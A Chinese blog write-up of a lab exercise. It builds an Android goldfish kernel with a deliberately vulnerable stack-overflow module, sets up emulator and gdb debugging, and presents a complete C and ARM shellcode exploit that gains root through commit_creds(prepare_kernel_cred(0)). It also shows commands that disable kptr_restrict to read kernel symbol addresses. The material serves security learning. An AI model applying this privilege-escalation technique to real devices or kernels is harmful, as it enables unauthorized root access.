android内核漏洞利用过程学习

惜颜705

本次实验旨在还原android内核利用及root环境搭建的基本过程，腾讯一个实验室讲过，我把自己在重建过程中的遇到坑记录一下。方便自己和初学者参考。环境在Ubuntu17。
一、简介
         1.下载内核代码，交叉编译环境（还原漏洞内核）重新编译
         2.搭建模拟器环境和调试环境，实现编译加载内核以及调试加载符号链接
         3.分析漏洞成因
         4.利用漏洞编写exp实现root
二、实现详情
        2.1、下载内核代码，交叉编译环境（还原漏洞内核）重新编译
        我们查看一下模拟器内核版本cat  /proc/cpuinfo

可以看到我们需要goldfish的内核，利用国内的镜像下载，谷歌的上不去，下载goldfish内核。

      git clone https://aosp.tuna.tsinghua.edu.cn/kernel/goldfish.git  
      $ cd goldfish/  
      # 查看可以下载的Linux内核源码的版本      
$ git branch -a      
* master        
remotes/origin/HEAD -> origin/master      
remotes/origin/android-3.10        
remotes/origin/android-3.18        
remotes/origin/android-goldfish-2.6.29        
remotes/origin/android-goldfish-3.10        
remotes/origin/android-goldfish-3.10-l-mr1-dev        
remotes/origin/android-goldfish-3.10-m-dev        
remotes/origin/android-goldfish-3.10-n-dev        
remotes/origin/android-goldfish-3.18        
remotes/origin/android-goldfish-3.18-dev        
remotes/origin/android-goldfish-3.4        
remotes/origin/android-goldfish-3.4-l-mr1-dev        
remotes/origin/android-goldfish-4.4-dev        
remotes/origin/heads/for/android-goldfish-3.18-dev        
remotes/origin/linux-goldfish-3.0-wip        
remotes/origin/master            
# 选择下载android-goldfish-3.4的内核源码      
$ git checkout remotes/origin/android-goldfish-3.4  
# 下载编译工具链            
$ git clone https://aosp.tuna.tsinghua.edu.cn/platform/prebuilts/gcc/linux-x86/arm/arm-eabi-4.7        
             创建文件 run_make_config.sh如下：      
export CROSS_COMPILE=$(pwd)/arm-eabi-4.7/bin/arm-eabi-         
export ARCH=arm      
export SUBARCH=arm               
# 生成编译配置文件      
make goldfish_armv7_defconfig                  
赋予权限      
$ chmod +x run_make_config.sh        
$ source run_make_config.sh        
上述操作均在goldfish目录，否则报错            
修改生成的Android内核编译配置文件.config，增加Android内核编译的config选项。默认的 make goldfish_armv7_defconfig 配置没有打开调试选项，也没有使用HIGHMEM等选项，因此为了使用 kgdb 调试Android内核必须增加这些选项。这里手动打开goldfish/.config文件，增加调试相关的选项配置。      
1.    # 打开Android内核编译的配置文件        
2.    $ gedit .config        增加的编译配置选项：      
1.    # 设置模拟器的运行内存-可选参数        
2.    CONFIG_HIGHMEM=y         
3.           
4.    CONFIG_DEBUG_KERNEL=y         
5.    CONFIG_KGDB=y         
6.    CONFIG_DEBUG_INFO=y        
7.            
8.    # 真机设备调试需要设置这一项，模拟器不需要        
9.    #CONFIG_KGDB_SERIAL_CONSOLE=y        
10.      
11.# 可以是直接在配置文件中去掉这一项        
12.CONFIG_DEBUG_RODATA=n        
上面修改.config完成以后，保存和关闭.config文件，然后执行下面的命令进行Android内核源码的编译。由于前面修改Android内核编译配置时，增加了几个配置，因此编译一开始会有提示让选择配置选项，记得相关的配置全部选 y 就可以了。Android内核编译完成后，goldfish/arch/arm/boot/zImage文件出现，这个文件就是Android内核文件了。      
以下是编译一个漏洞进内核：      
下载github上的一个 安卓漏洞利用的项目， git clone https://github.com/Fuzion24/AndroidKernelExploitationPlayground.git kernel_exploit_challenges      
然后使用项目中的patch文件把 patch 内核编译配置，来把项目中的带漏洞的模块编译进linux内核      
git am --signoff < ../kernel_exploit_challenges/kernel_build/debug_symbols_and_challenges.patch && \cd .. && ln -s $(pwd)/kernel_exploit_challenges/ goldfish/drivers/vulnerabilities      
这一步要在生成.config之后，如果早了命令会出错。      $ make -j4  
·  # 启动运行创建的Android模拟器Debug_Kernel        ·
$ emulator -avd Debug_Kernel -gpu mesa        命令行启动一下，可以的话关掉。     
$ emulator -avd Debug_Kernel -verbose -netfast -show-kernel -kernel ./arch/arm/boot/zImage  -gpu mesa -qemu -s -S      
调试内核一般不需要显示图形界面和声音，因此增加启动选项 -no-window, no-audio ，增加 -verbose -show-kernel 选项 可以看到内核的详细输出信息，-kernel 选项 指定加载的内核镜像文件为前面编译的Android内核镜像文件，增加 -qemu -s -S 选项 启动调试监听即Android内核启动以后会监听端口 1234 ，暂停等待调试，这时需要打开另一个命令终端运行 gdb 程序，对Android内核进行调试，还可以增加 -memory 2048 选项 设置运行的内存大小，增加运行内存使调试运行更流畅。
       2.2、搭建模拟器环境和调试环境，实现加载编译内核以及加载调试符号链接
默认有java的执行环境，自行安装sdk，并下载API19.（这里有一个不用换源就能用的linux下的android sdk http://tools.android-studio.org/index.php/sdk/）      使用 android create avd 命令,创建Android模拟器Debug_Kernel的示例，如下：
# 查看本地下载的Android SDK  
$ android list targets           
# 创建Android模拟器 Debug_Kernel  
$ android create avd -n Debug_Kernel -t android-19 -b default/armeabi-v7a -s HVGA  
Android API 19的Android模拟器 Debug_Kernel 创建成功以后，
使用下面的命令检查新创建的Android模拟器 Debug_Kernel 能否正常启动成功。
# 查看已经创建的Android模拟器
$ emulator -list-avds     
# 启动运行创建的Android模拟器Debug_Kernel  
$ emulator -avd Debug_Kernel -gpu mesa


$ emulator -avd Debug_Kernel -verbose -netfast -show-kernel -kernel ./arch/arm/boot/zImage  -gpu mesa -qemu -s -S
其实Android模拟器 emulator 就是 基于qemu虚拟机 开发的，因此Android模拟器 emulator 在运行的时候也支持qemu虚拟机的命令，在上面以 调试模式启动 Android虚拟机 Debug_Kernel 时使用的启动选项 -qemu -s -S的作用，可以参考命令行的帮助，如下图：
配置交叉编译环境变量  
# 编辑环境变量配置文件      
$ sudo gedit /etc/profile              
# 添加到环境变量配置文件/etc/profile中的内容      
export ANDROID_TOOLCHAIN=/home/fly2016/Android4.4.4r1/goldfish-kernel-3.4/goldfish/arm-eabi-4.7     
export PATH=$PATH:${ANDROID_TOOLCHAIN}/bin/      
# 更新系统环境变量     
$ source /etc/profile         
# 测试是否配置成功      
$ arm-eabi-gdb  

OK，arm-eabi-gdb 工具的问题解决了，
下面在Android内核源码的根目录下，执行下面的命令进行Android内核的源码调试：
# 在Android内核源码的根目录下执行   
# 加载内核符号信息   
$ arm-eabi-gdb vmlinux         
# 连接远端的调试器   
$ target remote :1234         
# 测试命令   
$ list           
$ n  
$ arm-eabi-gdb --help

  2.3.分析漏洞成因      
首先看看漏洞代码， kernel_exploit_challenges/challenges/stack_buffer_overflow/module/stack_buffer_overflow.c:
代码会创建/proc/stack_buffer_overflow 设备文件 ，当向该设备文件调用 write 系统调用时会调用 proc_entry_write 函数进行处理。漏洞显而易见，在 proc_entry_write 函数中 定义了一个 64 字节大小的栈缓冲区 buf， 然后使用 copy_from_user(&buf, ubuf, count) 从用户空间 拷贝数据到 buf ,数据大小和内容均用户可控。于是当我们输入超过64字节时我们能够覆盖其他的数据，比如返回地址等，进而劫持程序执行流到我们的 shellcode 中 进行提权。
#include
#include
#include
#include
#include
#include
#define MAX_LENGTH 64
MODULE_LICENSE(&quot;GPL&quot;);
MODULE_AUTHOR(&quot;Ryan Welton&quot;);
MODULE_DESCRIPTION(&quot;Stack Buffer Overflow Example&quot;);
static struct proc_dir_entry *stack_buffer_proc_entry;
int proc_entry_write(struct file *file, const char __user *ubuf, unsigned long count, void *data)
{
    char buf[MAX_LENGTH];
    if (copy_from_user(&buf, ubuf, count)) {
        printk(KERN_INFO &quot;stackBufferProcEntry: error copying data from userspace\n&quot;);
        return -EFAULT;
    }
    return count;
}
static int __init stack_buffer_proc_init(void)
{
    stack_buffer_proc_entry = create_proc_entry(&quot;stack_buffer_overflow&quot;, 0666, NULL);
    stack_buffer_proc_entry->write_proc = proc_entry_write;
    printk(KERN_INFO &quot;created /proc/stack_buffer_overflow\n&quot;);
    return 0;
}
static void __exit stack_buffer_proc_exit(void)
{
    if (stack_buffer_proc_entry) {
        remove_proc_entry(&quot;stack_buffer_overflow&quot;, stack_buffer_proc_entry);
    }
    printk(KERN_INFO &quot;vuln_stack_proc_entry removed\n&quot;);
}
module_init(stack_buffer_proc_init);
module_exit(stack_buffer_proc_exit);

首先我们来试试触发漏洞。先把模拟器打开，然后 adb shell 进入模拟器，使用  echo 命令向 /proc/stack_buffer_overflow 设备输入72字节的数据。   
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA >  /proc/stack_buffer_overflow可以看到 pc 寄存器的值 为 0x41414141 成功劫持。测试时该内核没开 pxn ，所以我们可以在用户态编写shellcode让内核去执行。提取的方式很简单，内核态调用  commit_creds(prepare_kernel_cred(0)); 提升权限为 root, 然后返回 用户态 执行 execl(&quot;/system/bin/sh&quot;, &quot;sh&quot;, NULL); 起一个 root 权限的 shell， 完成提权。下面先获取 prepare_kernel_cred 和 commit_creds 函数的地址。在 /proc/kallsyms 文件中保存着所有的内核符号的名称和它在内存中的位置。不过在最近的内核版本中，为了使利用内核漏洞变得更加困难，linux内核目前禁止一般用户获取符号。

       当启用 kptr_restrict 时我们不能获取内核符号地址的。这里的地址每次开机都会改变，我们先忽略这个随机过程，直接硬编码。

root@generic:/ # cat /proc/kallsyms | grep commit_creds                        
00000000 T commit_creds
在本文中，把它禁用掉，不管他。

root@generic:/ # echo 0 > /proc/sys/kernel/kptr_restrict      
echo 1 > /proc/sys/kernel/kptr_restrict                 
root@generic:/ # cat /proc/kallsyms | grep commit_creds                        
c0039834 T commit_creds

root@generic:/ # cat /proc/kallsyms | grep prepare_kernel_cred                 
c0039d34 T prepare_kernel_cred
c003a85c T prepare_kernel_cred   //myaddress
禁用掉之后，我们就可以通过 /proc/kallsyms 获取 commit_creds 和 prepare_kernel_cred的地址。

至此，提权的问题解决了，下面就是要回到用户态，在x86平台有 iret指令可以回到用户态，在arm下返回用户态就更简单了。在arm下 cpsr 寄存器的 M[4：0] 位用来表示 处理器的运行模式，具体可以看这个。所以我们把 cpsr 寄存器的 M[4：0] 位设置为 10000后就表示 处理器进入了用户模式。
2.4.利用漏洞编写exp实现root
所以现在的利用思路是：
1.调用 commit_creds(prepare_kernel_cred(0)) 提升权限
      为什么这里能提权，我说一下。其实这个和linux的权限管理过程有关。linux用户一般开启root直接都是su一下，输入密码就可以。android使用linux的内核，但android默认的用户没有root，被系统函数给降权了。怎么才能提权呢？其实只要找一个权限较高的进程让他set uid 、gid为0，那么用户自然就变成了root。本来想找一下这里的源码看一下，不过好像没必要。这里的函数应该就是实现类似的功能。如果没有高权限的进程设置uid、gid，提权一般是不可能了。
2.调用 mov r3, #0x40000010;   MSR    CPSR_c,R3; 设置 cpsr寄存器，使cpu进入用户模式
3.然后执行 execl(&quot;/system/bin/sh&quot;, &quot;sh&quot;, NULL); 起一个 root 权限的 shell

最后的 exp :
#include
#include
#include
#include
#include
#define MAX             64
int open_file(void)
{
        int fd = open(&quot;/proc/stack_buffer_overflow&quot;, O_RDWR);
        if (fd == -1)
                err(1, &quot;open&quot;);
        return fd;
}
void payload(void)
{
                printf(&quot;[+] enjoy the shell\n&quot;);
                execl(&quot;/system/bin/sh&quot;, &quot;sh&quot;, NULL);
}
extern uint32_t shellCode[];
asm
(
&quot;    .text\n&quot;
&quot;    .align 2\n&quot;
&quot;    .code 32\n&quot;
&quot;    .globl shellCode\n\t&quot;
&quot;shellCode:\n\t&quot;
// commit_creds(prepare_kernel_cred(0));
// -> get root
&quot;LDR     R3, =0xc0039d34\n\t&quot;   //prepare_kernel_cred addr
&quot;MOV     R0, #0\n\t&quot;
&quot;BLX     R3\n\t&quot;
&quot;LDR     R3, =0xc0039834\n\t&quot;   //commit_creds addr
&quot;BLX     R3\n\t&quot;
&quot;mov r3, #0x40000010\n\t&quot;
&quot;MSR    CPSR_c,R3\n\t&quot;
&quot;LDR     R3, =0x879c\n\t&quot;     // payload function addr
&quot;BLX     R3\n\t&quot;
);
void trigger_vuln(int fd)
{
        #define MAX_PAYLOAD (MAX + 2  * sizeof(void*) )
        char buf[MAX_PAYLOAD];
        memset(buf, 'A', sizeof(buf));
        void * pc = buf + MAX +  1 * sizeof(void*);
        printf(&quot;shellcdoe addr: %p\n&quot;, shellCode);
        printf(&quot;payload:%p\n&quot;, payload);
        *(void **)pc  = (void *) shellCode;   //ret addr
        /* Kaboom! */
        write(fd, buf, sizeof(buf) );
}
int main(void)
{
        int fd;
        fd = open_file();
        trigger_vuln(fd);
        payload();
        close(fd);
}

简单的说就是在用户态建立设置UID和gid为0的代码，使用溢出令内核态的代码跳转到用户态构造好的提权代码进行提权。
当然如果直接在用户态执行提权代码权限是不够的。
arm-linux-androideabi-gcc exp.c -o exp
将编译好的文件放到模拟器任意目录执行即可
     
对于编译一个基于某些依赖库的程序，而这些依赖库在Android系统中已经有时，最简便的方法是找到它的头文件（有的头文件交叉便器的include中没有），然后再从Android系统中拷贝出相应的.so文件，用交叉编译器或者ndk-build编译即可。
arm-linux-androideabi-gcc -I[头文件目录] -L[动态库位置] filename.c -o filename

或者编写Android.mk文件，利用ndk-build.
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
LOCAL_MODULE := client_android
LOCAL_SRC_FILES := client.c
LOCAL_CFLAGS += -I/home/wwtao/Desktop/bluetooth/include/include
LOCAL_LDLIBS += -L/home/wwtao/Desktop/bluetooth/libfrompanda -lbluetooth
include $(BUILD_EXECUTABLE)
#include $(BUILD_STATIC_LIBRARY)
#include $(BUILD_SHARED_LIBRARY)

其中，LOCAL_PATH := $(call my-dir) 设置LOCAL_PATH为当前了路径
include $(CLEAR_VARS)是清空当前的变量
LOCAL_MODULE 是编译后生成的文件名
LOCAL_SRC_FILES 是编译的源文件
LOCAL_CFLAGS 是设置编译时的头文件搜索路径
LOCAL_LDLIBS 是设置编译时搜索动态链接库的路径
include $(BUILD_EXECUTABLE) 是生成可执行文件，如果是BUILD_STATIC_LIBRARY是生成静态库，如果是BUILD_SHARED_LIBRARY。

如果出现   
Unable to auto-config arch from toolchain
这是说无法自动配置 toolchain,需要手动配置.先看看你的ndk支持编译哪些cpu  
oldfeel@oldfeel:~/android-ndk$ ls toolchains/
aarch64-linux-android-4.9        mipsel-linux-android-4.8
aarch64-linux-android-clang3.4   mipsel-linux-android-4.9
aarch64-linux-android-clang3.5   mipsel-linux-android-clang3.4
arm-linux-androideabi-4.6        mipsel-linux-android-clang3.5
arm-linux-androideabi-4.8        renderscript
arm-linux-androideabi-4.9        x86-4.6
arm-linux-androideabi-clang3.4   x86-4.8
arm-linux-androideabi-clang3.5   x86-4.9
llvm-3.4                         x86_64-4.9
llvm-3.5                         x86_64-clang3.4
mips64el-linux-android-4.9       x86_64-clang3.5
mips64el-linux-android-clang3.4  x86-clang3.4
mips64el-linux-android-clang3.5  x86-clang3.5
mipsel-linux-android-4.6

编辑 make-standalone-toolchain.sh,找到并修改 TOOLCHAIN_NAME= 为
   
vim build/tools/make-standalone-toolchain.sh
三、总结
我这里adb shell进入android默认就是root权限
$id
uid(0)root pid(0)root
这让我觉得本次实验好像有点蹩脚。不管怎样历经了很多莫名的错误和奔溃终于实现了。我感觉调试内核千万要用linux的系统，windows下各种神奇的错误，简直怀疑人生了。

参考：
http://www.360zhijia.com/360anquanke/288826.html      
http://blog.csdn.net/qq1084283172/article/details/        

   
来源：http://www.12558.net
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